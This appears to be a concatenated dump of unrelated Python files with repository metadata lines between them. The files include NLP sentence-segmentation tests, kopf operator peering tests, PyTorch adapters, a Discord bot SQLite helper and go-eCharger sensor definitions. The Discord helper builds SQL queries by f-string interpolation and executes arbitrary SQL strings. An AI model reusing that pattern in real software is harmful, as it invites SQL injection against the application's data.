interest, not only in computational neuroscience and machine learning but also in statistics and signal processing (Candes and Tao, 2005).", "It was first introduced in computational neuroscience in the context of sparse coding in the visual system (Olshausen and Field, 1997)."]), ("1) The first item. 2) The second item.", ["1) The first item.", "2) The second item."]), ("two of these stages (in areas V1 and V2 of visual cortex) (Lee et al., 2008), and that they", ["two of these stages (in areas V1 and V2 of visual cortex) (Lee et al., 2008), and that they"]), ("all neu-\nrons fire at", ["all neurons fire at"]), ("the support of the Defense Advanced Resarch Projects Agency (DARPA) Deep Exploration and Filtering of Text (DEFT) Program under Air Force Research Laboratory (AFRL) contract", ["the support of the Defense Advanced Resarch Projects Agency (DARPA) Deep Exploration and Filtering of Text (DEFT) Program under Air Force Research Laboratory (AFRL) contract"]), ("While proprietary environments such as Microsoft Robotics Studio [9] and Webots [10] have many commendable attributes, we feel there is no substitute for a fully open platform.", ["While proprietary environments such as Microsoft Robotics Studio [9] and Webots [10] have many commendable attributes, we feel there is no substitute for a fully open platform."]), ("We first produce sentence representations hL and hR for each sentence in the pair using a Tree-LSTM model over each sentence’s parse tree.", ["We first produce sentence representations hL and hR for each sentence in the pair using a Tree-LSTM model over each sentence’s parse tree."]), ("LSTM networks, which we review in Sec. 2, have been successfully applied to a variety of sequence modeling and prediction tasks, notably machine translation (Bahdanau et al., 2014; Sutskever et al., 2014), speech recognition (Graves et al., 2013), image caption generation (Vinyals et al., 2014), and program execution (Zaremba and Sutskever, 2014).", ["LSTM networks, which we review in Sec. 2, have been successfully applied to a variety of sequence modeling and prediction tasks, notably machine translation (Bahdanau et al., 2014; Sutskever et al., 2014), speech recognition (Graves et al., 2013), image caption generation (Vinyals et al., 2014), and program execution (Zaremba and Sutskever, 2014)."]), ("1 Introduction\n\nMost models for distributed representations of phrases and sentences—that is, models where realvalued vectors are used to represent meaning—fall into one of three classes: bag-of-words models, sequence models, and tree-structured models.", ["1 Introduction", "\n\n", "Most models for distributed representations of phrases and sentences—that is, models where realvalued vectors are used to represent meaning—fall into one of three classes: bag-of-words models, sequence models, and tree-structured models."]), ("In this section, we will elaborate these philosophies and shows how they influenced the design and implementation of ROS.\n\nA. Peer-to-Peer\n\nA system built using ROS consists of a number of processes, potentially on a number of different", ["In this section, we will elaborate these philosophies and shows how they influenced the design and implementation of ROS.", "\n\n", "A. Peer-to-Peer", "\n\n", "A system built using ROS consists of a number of processes, potentially on a number of different"]), ("\n\n2 Long Short-Term Memory Networks\n\n\n\n2.1 Overview\n\nRecurrent neural networks (RNNs) are able to process input sequences of arbitrary length via the recursive application of a transition function on a hidden state vector ht.", ["\n\n","2 Long Short-Term Memory Networks", "\n\n\n\n", "2.1 Overview", "\n\n", "Recurrent neural networks (RNNs) are able to process input sequences of arbitrary length via the recursive application of a transition function on a hidden state vector ht."]), ("In order to address all three aspects, it is necessary to observe gene regulation in individual cells over time. Therefore, we built Bl-cascade[ strains of Escherichia coli, containing the l repressor and a downstream gene, such that both the amount of the repressor protein and the rate of expression of its target gene could be monitored simultaneously in individual cells (Fig. 1B). These strains incorporate a yellow fluorescent repressor fusion protein (cI-yfp) and a chromosomally integrated target promoter (P R ) controlling cyan fluorescent protein (cfp).", ["In order to address all three aspects, it is necessary to observe gene regulation in individual cells over time.", "Therefore, we built Bl-cascade[ strains of Escherichia coli, containing the l repressor and a downstream gene, such that both the amount of the repressor protein and the rate of expression of its target gene could be monitored simultaneously in individual cells (Fig. 1B).", "These strains incorporate a yellow fluorescent repressor fusion protein (cI-yfp) and a chromosomally integrated target promoter (P R ) controlling cyan fluorescent protein (cfp)."]), ("This is a sentence. (This is an interjected sentence.) This is also a sentence.", ["This is a sentence.", "(This is an interjected sentence.)", "This is also a sentence."]), ] @pytest.mark.parametrize('text,expected_sents', TEST_CASES) def test_custom_segmentation(en_with_combined_rule_tokenizer_and_segmenter_fixture, remove_new_lines_fixture, text, expected_sents): text = remove_new_lines_fixture(text) doc = en_with_combined_rule_tokenizer_and_segmenter_fixture(text) sents = [s.text for s in doc.sents] assert sents == expected_sents

275.482759

1,159

0.747653

1,228

7,989

4.848534

0.287459

0.006718

0.008062

0.012765

0.946926

0.938529

0.90393

0

0.020979

0.176618

7,989

29

1,160

275.482759

0.882943

0

1.148148

0.880225

0.002628

0

0.037037

1

0.037037

false

0

0.037037

0

0.074074

0

null

0

1

0

1

0

1

0

null

0

10

e2e5034562fd223ecfc8b4f3b5d5dc7a70fce9e3

47

py

Python

application.py

JacopoMor/Deploy-Drop-Zone

fcfa811e5efe796317bc7b58d28a037ec61ed066

[ "MIT" ]

null

application.py

JacopoMor/Deploy-Drop-Zone

fcfa811e5efe796317bc7b58d28a037ec61ed066

[ "MIT" ]

8

2020-07-17T09:20:58.000Z

2022-03-12T00:41:52.000Z

application.py

JacopoMor/Deploy-Drop-Zone

fcfa811e5efe796317bc7b58d28a037ec61ed066

[ "MIT" ]

null

#from app import app from app.webapp import app

23.5

26

0.808511

9

47

4.222222

0.444444

0.368421

0

0.148936

47

2

26

23.5

0.95

0.404255

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

e2f133753396e6d3934dd92bcf15df29321b65a6

118

py

Python

groundhog/datasets/__init__.py

neozhangthe1/coverage_model

8717e0a1fdd67af16a279e6b9aecf562f31bcdce

[ "BSD-3-Clause" ]

46

2018-09-14T10:33:28.000Z

2022-03-31T14:06:56.000Z

groundhog/datasets/__init__.py

neozhangthe1/coverage_model

8717e0a1fdd67af16a279e6b9aecf562f31bcdce

[ "BSD-3-Clause" ]

8

2018-10-29T20:10:18.000Z

2022-03-29T06:04:08.000Z

groundhog/datasets/__init__.py

neozhangthe1/coverage_model

8717e0a1fdd67af16a279e6b9aecf562f31bcdce

[ "BSD-3-Clause" ]

16

2018-11-07T08:20:35.000Z

2022-02-06T18:19:03.000Z

from .LM_dataset import LMIterator from .TM_dataset import TMIterator from .TM_dataset import PytablesBitextIterator

23.6

46

0.864407

15

118

6.6

0.533333

0.393939

0.262626

0.383838

0

0.110169

118

4

47

29.5

0.942857

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

1a4757a3854c455c9eb038a02f548b9f246ea3e0

554

py

Python

src/yggdrasil/multitask.py

jxnl/python-yggdrasil

4d2fa900aeb6431ed5136ff80cf2312189eb1c30

[ "MIT" ]

null

src/yggdrasil/multitask.py

jxnl/python-yggdrasil

4d2fa900aeb6431ed5136ff80cf2312189eb1c30

[ "MIT" ]

null

src/yggdrasil/multitask.py

jxnl/python-yggdrasil

4d2fa900aeb6431ed5136ff80cf2312189eb1c30

[ "MIT" ]

null

import torch.nn as nn class SoftmaxAdapter(nn.Module): def __init__(self, dim_in, n_class): super(SoftmaxAdapter, self).__init__() self.fc = nn.Linear(dim_in, n_class) def forward(self, input): h = self.fc(input) return nn.functional.softmax(h) class SigmoidAdapter(nn.Module): def __init__(self, dim_in, n_class): super(SigmoidAdapter, self).__init__() self.fc = nn.Linear(dim_in, n_class) def forward(self, input): h = self.fc(input) return nn.functional.sigmoid(h)

25.181818

46

0.644404

77

554

4.324675

0.311688

0.096096

0.072072

0.132132

0.702703

0

0.234657

554

21

47

26.380952

0.785377

0

0.533333

0

1

0.266667

false

0

0.066667

0

0.6

0

null

0

1

0

null

0

1

0

1

0

7

1a72ec20cc418b7faa21d0b6feea901ccbbc12b9

117

py

Python

facenet_sandberg/__init__.py

beholder-ai/Facial-Recognition-and-Alignment

58f74668e5fe9f5e39ed294309345f50b90dc61a

[ "MIT" ]

null

facenet_sandberg/__init__.py

beholder-ai/Facial-Recognition-and-Alignment

58f74668e5fe9f5e39ed294309345f50b90dc61a

[ "MIT" ]

null

facenet_sandberg/__init__.py

beholder-ai/Facial-Recognition-and-Alignment

58f74668e5fe9f5e39ed294309345f50b90dc61a

[ "MIT" ]

null

from .common_types import * from .generate_pairs import generate_pairs from .inference import * from .utils import *

23.4

42

0.803419

16

117

5.6875

0.5

0.21978

0

0.136752

117

4

43

29.25

0.90099

0

1

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

7

2009d9ea54ecdfa89875c52b19969d68c583a957

12,274

py

Python

tests/peering/test_freeze_mode.py

ztaylor54/kopf

214310c8f678fad5e267aacfbbc8acdadb557d9c

[ "MIT" ]

null

tests/peering/test_freeze_mode.py

ztaylor54/kopf

214310c8f678fad5e267aacfbbc8acdadb557d9c

[ "MIT" ]

null

tests/peering/test_freeze_mode.py

ztaylor54/kopf

214310c8f678fad5e267aacfbbc8acdadb557d9c

[ "MIT" ]

null

import asyncio import dataclasses from unittest.mock import Mock import freezegun import pytest from kopf.engines.peering import process_peering_event from kopf.structs import bodies, primitives @dataclasses.dataclass(frozen=True, eq=False) class K8sMocks: patch_obj: Mock @pytest.fixture(autouse=True) def k8s_mocked(mocker, resp_mocker): # We mock on the level of our own K8s API wrappers, not the K8s client. return K8sMocks( patch_obj=mocker.patch('kopf.clients.patching.patch_obj', return_value={}), ) @pytest.fixture async def replenished(mocker): # Make sure that freeze-sleeps are not actually executed, i.e. exit instantly. replenished = asyncio.Event() replenished.set() mocker.patch.object(replenished, 'wait') # to avoid RuntimeWarnings for unwaited coroutines return replenished @pytest.mark.parametrize('our_name, our_namespace, their_name, their_namespace', [ ['our-name', 'our-namespace', 'their-name', 'their-namespace'], ['our-name', 'our-namespace', 'their-name', 'our-namespace'], ['our-name', 'our-namespace', 'their-name', None], ['our-name', 'our-namespace', 'our-name', 'their-namespace'], ['our-name', 'our-namespace', 'our-name', None], ['our-name', None, 'their-name', 'their-namespace'], ['our-name', None, 'their-name', 'our-namespace'], ['our-name', None, 'their-name', None], ['our-name', None, 'our-name', 'their-namespace'], ['our-name', None, 'their-name', 'our-namespace'], ]) async def test_other_peering_objects_are_ignored( mocker, k8s_mocked, settings, replenished, our_name, our_namespace, their_name, their_namespace): status = mocker.Mock() status.items.side_effect = Exception("This should not be called.") event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': their_name, 'namespace': their_namespace}, 'status': status, }) wait_for = mocker.patch('asyncio.wait_for') settings.peering.name = our_name await process_peering_event( raw_event=event, freeze_toggle=primitives.Toggle(), replenished=replenished, autoclean=False, identity='id', settings=settings, namespace=our_namespace, ) assert not status.items.called assert not k8s_mocked.patch_obj.called assert wait_for.call_count == 0 @freezegun.freeze_time('2020-12-31T23:59:59.123456') async def test_toggled_on_for_higher_priority_peer_when_initially_off( mocker, k8s_mocked, replenished, caplog, assert_logs, settings): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': 101, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(False) wait_for = mocker.patch('asyncio.wait_for') caplog.set_level(0) assert freeze_toggle.is_off() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_on() assert wait_for.call_count == 1 assert 9 < wait_for.call_args[1]['timeout'] < 10 assert not k8s_mocked.patch_obj.called assert_logs(["Freezing operations in favour of"], prohibited=[ "Possibly conflicting operators", "Freezing all operators, including self", "Resuming operations after the freeze", ]) @freezegun.freeze_time('2020-12-31T23:59:59.123456') async def test_ignored_for_higher_priority_peer_when_already_on( mocker, k8s_mocked, replenished, caplog, assert_logs, settings): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': 101, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(True) wait_for = mocker.patch('asyncio.wait_for') caplog.set_level(0) assert freeze_toggle.is_on() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_on() assert wait_for.call_count == 1 assert 9 < wait_for.call_args[1]['timeout'] < 10 assert not k8s_mocked.patch_obj.called assert_logs([], prohibited=[ "Possibly conflicting operators", "Freezing all operators, including self", "Freezing operations in favour of", "Resuming operations after the freeze", ]) @freezegun.freeze_time('2020-12-31T23:59:59.123456') async def test_toggled_off_for_lower_priority_peer_when_initially_on( mocker, k8s_mocked, replenished, caplog, assert_logs, settings): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': 99, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(True) wait_for = mocker.patch('asyncio.wait_for') caplog.set_level(0) assert freeze_toggle.is_on() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_off() assert wait_for.call_count == 0 assert not k8s_mocked.patch_obj.called assert_logs(["Resuming operations after the freeze"], prohibited=[ "Possibly conflicting operators", "Freezing all operators, including self", "Freezing operations in favour of", ]) @freezegun.freeze_time('2020-12-31T23:59:59.123456') async def test_ignored_for_lower_priority_peer_when_already_off( mocker, k8s_mocked, replenished, caplog, assert_logs, settings): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': 99, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(False) wait_for = mocker.patch('asyncio.wait_for') caplog.set_level(0) assert freeze_toggle.is_off() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_off() assert wait_for.call_count == 0 assert not k8s_mocked.patch_obj.called assert_logs([], prohibited=[ "Possibly conflicting operators", "Freezing all operators, including self", "Freezing operations in favour of", "Resuming operations after the freeze", ]) @freezegun.freeze_time('2020-12-31T23:59:59.123456') async def test_toggled_on_for_same_priority_peer_when_initially_off( mocker, k8s_mocked, replenished, caplog, assert_logs, settings): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': 100, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(False) wait_for = mocker.patch('asyncio.wait_for') caplog.set_level(0) assert freeze_toggle.is_off() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_on() assert wait_for.call_count == 1 assert 9 < wait_for.call_args[1]['timeout'] < 10 assert not k8s_mocked.patch_obj.called assert_logs([ "Possibly conflicting operators", "Freezing all operators, including self", ], prohibited=[ "Freezing operations in favour of", "Resuming operations after the freeze", ]) @freezegun.freeze_time('2020-12-31T23:59:59.123456') async def test_ignored_for_same_priority_peer_when_already_on( mocker, k8s_mocked, replenished, caplog, assert_logs, settings): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': 100, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(True) wait_for = mocker.patch('asyncio.wait_for') caplog.set_level(0) assert freeze_toggle.is_on() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_on() assert wait_for.call_count == 1 assert 9 < wait_for.call_args[1]['timeout'] < 10 assert not k8s_mocked.patch_obj.called assert_logs([ "Possibly conflicting operators", ], prohibited=[ "Freezing all operators, including self", "Freezing operations in favour of", "Resuming operations after the freeze", ]) @freezegun.freeze_time('2020-12-31T23:59:59.123456') @pytest.mark.parametrize('priority', [100, 101]) async def test_resumes_immediately_on_expiration_of_blocking_peers( mocker, k8s_mocked, replenished, caplog, assert_logs, settings, priority): event = bodies.RawEvent( type='ADDED', # irrelevant object={ 'metadata': {'name': 'name', 'namespace': 'namespace'}, # for matching 'status': { 'higher-prio': { 'priority': priority, 'lifetime': 10, 'lastseen': '2020-12-31T23:59:59' }, }, }) settings.peering.name = 'name' settings.peering.priority = 100 freeze_toggle = primitives.Toggle(True) wait_for = mocker.patch('asyncio.wait_for', side_effect=asyncio.TimeoutError) caplog.set_level(0) assert freeze_toggle.is_on() await process_peering_event( raw_event=event, freeze_toggle=freeze_toggle, replenished=replenished, autoclean=False, namespace='namespace', identity='id', settings=settings, ) assert freeze_toggle.is_on() assert wait_for.call_count == 1 assert 9 < wait_for.call_args[1]['timeout'] < 10 assert k8s_mocked.patch_obj.called

32.13089

96

0.617321

1,342

12,274

5.458271

0.115499

0.058976

0.021024

0.024846

0.846416

0.816382

0.805324

0.790853

0.768601

0.744573

0

0.038952

0.265847

12,274

381

97

32.215223

0.773943

0.030471

0

0.767372

0

0.20638

0.017928

0

0.148036

1

0.003021

false

0

0.021148

0.003021

0.036254

0

null

0

1

0

1

0

null

0

7

6493f65c8ba09245089e7fb9cb5a0ae70bfe21bf

1,495

py

Python

api/server/base.py

DiscordHackers/BetterBot---No-Version

06884408aa32b52428b2d88a4c5d6346f5906199

[ "Apache-2.0" ]

null

api/server/base.py

DiscordHackers/BetterBot---No-Version

06884408aa32b52428b2d88a4c5d6346f5906199

[ "Apache-2.0" ]

null

api/server/base.py

DiscordHackers/BetterBot---No-Version

06884408aa32b52428b2d88a4c5d6346f5906199

[ "Apache-2.0" ]

null

import discord import sqlite3 def eventopt(guild): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() cursor.execute(f"SELECT * FROM eventopt WHERE id = {guild.id}") result = cursor.fetchone() return result def options(guild): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() cursor.execute(f"SELECT * FROM options WHERE id = {guild.id}") result = cursor.fetchone() return result def user(user): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() cursor.execute(f"SELECT * FROM users WHERE id = {user.id}") result = cursor.fetchone() return result def apl(user): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() cursor.execute(f"SELECT * FROM apl WHERE id = {user.id}") result = cursor.fetchone() return result def event(user): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() cursor.execute(f"SELECT * FROM event WHERE id = {user.id}") result = cursor.fetchone() return result def blacklist(user): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() cursor.execute(f"SELECT * FROM blacklist WHERE id = {user.id}") result = cursor.fetchone() return result def send(result): connection = sqlite3.connect('data/db.db') cursor = connection.cursor() print(result) cursor.execute(result) connection.commit()

25.775862

67

0.666221

185

1,495

5.383784

0.156757

0.119478

0.168675

0.196787

0.841365

0.787149

0

0.006706

0.202007

1,495

58

68

25.775862

0.828164

0

0.590909

0

0.213235

0

1

0.159091

false

0

0.045455

0

0.340909

0.022727

0

null

0

1

0

null

0

7

b3be761862cdeffc2748585e09c613763bd70bbe

73,996

py

Python

custom_components/goecharger_mqtt/definitions/sensor.py

syssi/homeassistant-goecharger-mqtt

c80259853b73745119abc5f03b495811cc861283

[ "Apache-2.0" ]

7

2022-02-23T23:34:03.000Z

2022-03-17T09:34:47.000Z

custom_components/goecharger_mqtt/definitions/sensor.py

syssi/homeassistant-goecharger-mqtt

c80259853b73745119abc5f03b495811cc861283

[ "Apache-2.0" ]

27

2022-02-19T08:21:38.000Z

2022-03-26T09:18:20.000Z

custom_components/goecharger_mqtt/definitions/sensor.py

syssi/homeassistant-goecharger-mqtt

c80259853b73745119abc5f03b495811cc861283

[ "Apache-2.0" ]

1

2022-03-02T16:13:18.000Z

"""Definitions for go-eCharger sensors exposed via MQTT.""" from __future__ import annotations from dataclasses import dataclass import json import logging from homeassistant.components.sensor import ( STATE_CLASS_MEASUREMENT, STATE_CLASS_TOTAL_INCREASING, SensorEntityDescription, ) from homeassistant.const import ( CURRENCY_CENT, DEVICE_CLASS_CURRENT, DEVICE_CLASS_ENERGY, DEVICE_CLASS_POWER, DEVICE_CLASS_POWER_FACTOR, DEVICE_CLASS_SIGNAL_STRENGTH, DEVICE_CLASS_TEMPERATURE, DEVICE_CLASS_VOLTAGE, ELECTRIC_CURRENT_AMPERE, ELECTRIC_POTENTIAL_VOLT, ENERGY_WATT_HOUR, FREQUENCY_HERTZ, PERCENTAGE, POWER_KILO_WATT, POWER_WATT, SIGNAL_STRENGTH_DECIBELS, TEMP_CELSIUS, TIME_MILLISECONDS, TIME_SECONDS, ) from homeassistant.helpers.entity import EntityCategory from . import GoEChargerEntityDescription, GoEChargerStatusCodes _LOGGER = logging.getLogger(__name__) @dataclass class GoEChargerSensorEntityDescription( GoEChargerEntityDescription, SensorEntityDescription ): """Sensor entity description for go-eCharger.""" domain: str = "sensor" def remap_configured_phases(value, unused) -> int | None: """Remap configured phases.""" if int(value) == 1: return 1 if int(value) == 2: return 3 return None def extract_charging_duration(value, attribute) -> int | None: """Extract charging duration from object. Example value: {"type":1,"value":0} """ data = json.loads(value) if "type" in data and data["type"] == int(attribute): return data["value"] return None def extract_energy_from_cards(value, key) -> int | None: """Extract energy from selected card of the cards object. Example value: [{"name":"User 1","energy":0,"cardId":true},{...}, ...] """ try: data = json.loads(value)[int(key)] return data.get("energy") except IndexError: return None def remove_quotes(value, unused): """Remove quotes helper.""" return value.replace('"', "") def json_array_to_csv(value, unused) -> str: """Transform JSON array to CSV.""" if value == "null": return "" return ", ".join(json.loads(value)) def extract_item_from_array_to_float(value, key) -> float: """Extract item from array to float.""" return float(json.loads(value)[int(key)]) def extract_item_from_array_to_int(value, key) -> int: """Extract item from array to int.""" return int(json.loads(value)[int(key)]) def extract_item_from_array_to_bool(value, key) -> bool: """Extract item from array to int.""" return bool(json.loads(value)[int(key)]) def transform_code(value, mapping_table) -> str: """Transform codes into a human readable string.""" try: return getattr(GoEChargerStatusCodes, mapping_table)[int(value)] except KeyError: return "Definition missing for code %s" % value SENSORS: tuple[GoEChargerSensorEntityDescription, ...] = ( GoEChargerSensorEntityDescription( key="+/result", name="Last set config key result", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="ama", name="Maximum current limit", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="ate", name="Automatic stop energy", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="att", name="Automatic stop time", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_SECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="awc", name="Awattar country", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="awp", name="Awattar maximum price threshold", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=CURRENCY_CENT, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cch", name="Color charging", state=remove_quotes, entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:format-color-fill", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cco", name="Car consumption", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="App only", ), GoEChargerSensorEntityDescription( key="cfi", name="Color finished", state=remove_quotes, entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:format-color-fill", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="cid", name="Color idle", state=remove_quotes, entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:format-color-fill", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="clp", name="Current limit presets", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="ct", name="Car type", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, entity_registry_enabled_default=False, disabled=True, disabled_reason="App only", ), GoEChargerSensorEntityDescription( key="cwc", name="Color wait for car", state=remove_quotes, entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:format-color-fill", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="dwo", name="Charging energy limit", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_ENERGY, native_unit_of_measurement=ENERGY_WATT_HOUR, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="fna", name="Friendly name", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="frc", name="Force state", state=transform_code, attribute="frc", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:auto-fix", entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="frc", name="Force state code", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, icon="mdi:auto-fix", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="lbr", # 0...255 name="LED brightness", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:brightness-6", entity_registry_enabled_default=False, disabled=False, ), GoEChargerSensorEntityDescription( key="lmo", name="Logic mode", state=transform_code, attribute="lmo", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=None, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="lof", name="Load balancing fallback current", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="log", name="Load balancing group id", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lop", name="Load balancing priority", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="lot", name="Load balancing total ampere", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="loty", name="Load balancing type", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="map", name="Load mapping", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=None, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="mca", name="Minimum charging current", entity_category=EntityCategory.CONFIG, device_class=DEVICE_CLASS_CURRENT, native_unit_of_measurement=ELECTRIC_CURRENT_AMPERE, state_class=STATE_CLASS_MEASUREMENT, entity_registry_enabled_default=True, disabled=False, ), GoEChargerSensorEntityDescription( key="mci", name="Minimum charging interval", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, disabled_reason="Not exposed via MQTT in firmware 053.1", ), GoEChargerSensorEntityDescription( key="mcpd", name="Minimum charge pause duration", entity_category=EntityCategory.CONFIG, device_class=None, native_unit_of_measurement=TIME_MILLISECONDS, state_class=STATE_CLASS_MEASUREMENT, icon="mdi:timer-outline", entity_registry_enabled_default=False, disabled=True, 